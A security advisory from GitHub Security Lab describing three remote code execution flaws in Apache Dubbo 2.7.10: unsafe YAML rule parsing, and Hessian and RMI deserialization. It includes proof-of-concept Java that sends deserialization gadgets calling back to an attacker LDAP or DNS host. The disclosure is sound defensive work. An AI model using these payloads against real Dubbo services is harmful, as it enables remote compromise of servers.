skip to content
Back to
Home Bounties Research Advisories Get Involved Events
August 30, 2021

GHSL-2021-094: Multiple RCEs in Apache Dubbo - CVE-2021-36162, CVE-2021-36163

Alvaro Munoz

Coordinated Disclosure Timeline


Multiple vulnerabilities have been found in Apache Dubbo enabling attackers to compromise and run arbitrary system commands on both Dubbo consumers and providers.


Apache Dubbo

Tested Version

Dubbo v2.7.10


Issue 1: RCE on customers via Tag route poisoning (Unsafe YAML unmarshaling) (GHSL-2021-094)

Apache Dubbo recently added support for Mesh App rules which enables a customer to route the request to the right server. These rules are loaded into the configuration center (eg: Zookeeper, Nacos, …) and retrieved by the customers when making a request in order to find the right endpoint.

When parsing these YAML rules, Dubbo customers will use SnakeYAML library to load the rules which by default will enable calling arbitrary constructors:

    public void receiveConfigInfo(String configInfo) {
        try {

            VsDestinationGroup vsDestinationGroup = new VsDestinationGroup();

            Yaml yaml = new Yaml();
            Yaml yaml2 = new Yaml();
            Iterable<Object> objectIterable = yaml.loadAll(configInfo);
            for (Object result : objectIterable) {
            vsDestinationGroupHolder = vsDestinationGroup;
        } catch (Exception e) {
            logger.error("[MeshAppRule] parse failed: " + configInfo, e);

An attacker with access to the configuration center (Zookeeper supports authentication but its is disabled by default and in most installations, and other systems such as Nacos do not even support authentication) will be able to poison a tag rule file so when retrieved by the consumers, it will get RCE on all of them.


This issue may lead to pre-auth RCE

Issue 2: Unsafe deserialization in providers using the Hessian protocol (GHSL-2021-095)

Users may choose to use the Hessian protocol. The Hessian protocol is implemented on top of HTTP and passes the body of a POST request directly to a HessianSkeleton:

  try {
      skeleton.invoke(request.getInputStream(), response.getOutputStream());
  } catch (Throwable e) {
      throw new ServletException(e);

New HessianSkeleton are created without any configuration of the serialization factory and therefore without applying the dubbo properties for applying allowed or blocked type lists.

In addition, the generic service is always exposed and therefore attackers do not need to figure out a valid service/method name pair.


package org.pwntester.dubbo;

import marshalsec.Java;
import marshalsec.gadgets.SpringUtil;
import org.apache.dubbo.common.serialize.Cleanable;
import org.apache.http.HttpResponse;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.ByteArrayEntity;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.springframework.beans.factory.BeanFactory;


public class HessianProtocol {

    protected static final String JNDI_URL = "ldap://";

    public static Object generate_spring_payload() throws Exception {
        BeanFactory bf = SpringUtil.makeJNDITrigger(JNDI_URL);
        return SpringUtil.makeBeanFactoryTriggerBFPA(new Java(), JNDI_URL, bf);

    public static void main(String[] args) throws Exception {

        // write header into OS
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        byte[] header = new byte[3];
        header[0] = (byte)72;
        header[1] = (byte)1;
        header[2] = (byte)1;

        byte[] tag = new byte[1];
        tag[0] = 67; // C: call

        Hessian2Output out = new Hessian2Output(baos);
        SerializerFactory factory = out.getSerializerFactory();
        out.writeObject(new String[]{"foo"});
        out.writeObject(new Object[]{generate_spring_payload()});
        if (out instanceof Cleanable) {
            ((Cleanable) out).cleanup();

        CloseableHttpClient client = HttpClients.createDefault();
        HttpPost post = new HttpPost("http://localhost:8080/org.apache.dubbo.samples.basic.api.DemoService/generic");
        post.setHeader("Content-Type", "application/octet-stream");
        post.setEntity(new ByteArrayEntity(baos.toByteArray()));
        HttpResponse response = client.execute(post);


This issue may lead to pre-auth RCE

Issue 3: Unsafe deserialization in providers using the RMI protocol (GHSL-2021-096)

Users may choose to use the RMI protocol. The RMI protocol is implemented on top of Spring’s RmiServiceExporter and uses Java RMI under the hood. RMI uses java native serialization to serialize the arguments of the RMI calls. In addition, the generic service is always exposed since both methods exposed by this service accept a broad java.lang.Object argument, an attacker will be able to send any arbitrary type and achieve RCE.


package org.pwntester.dubbo;

import org.apache.dubbo.rpc.service.GenericService;
import org.pwntester.dubbo.utils.Gadgets;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.remoting.rmi.RmiProxyFactoryBean;

public class RMIProtocol {

    protected static final String ATTACKER_HOST = "";

    RmiProxyFactoryBean service() {
        RmiProxyFactoryBean rmiProxyFactory = new RmiProxyFactoryBean();
        return rmiProxyFactory;

    public static void main(String args[]) throws Exception {
        AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(RMIProtocol.class);
        GenericService service = context.getBean(GenericService.class);
        Object res = service.$invoke("foo", new String[]{""}, new Object[]{Gadgets.generate_urldns_payload(ATTACKER_HOST)});


This issue may lead to pre-auth RCE



These issues were discovered and reported by GHSL team member @pwntester(Alvaro Muñoz).


You can contact the GHSL team at, please include a reference to GHSL-2021-{094,095,096} in any communication regarding this issue.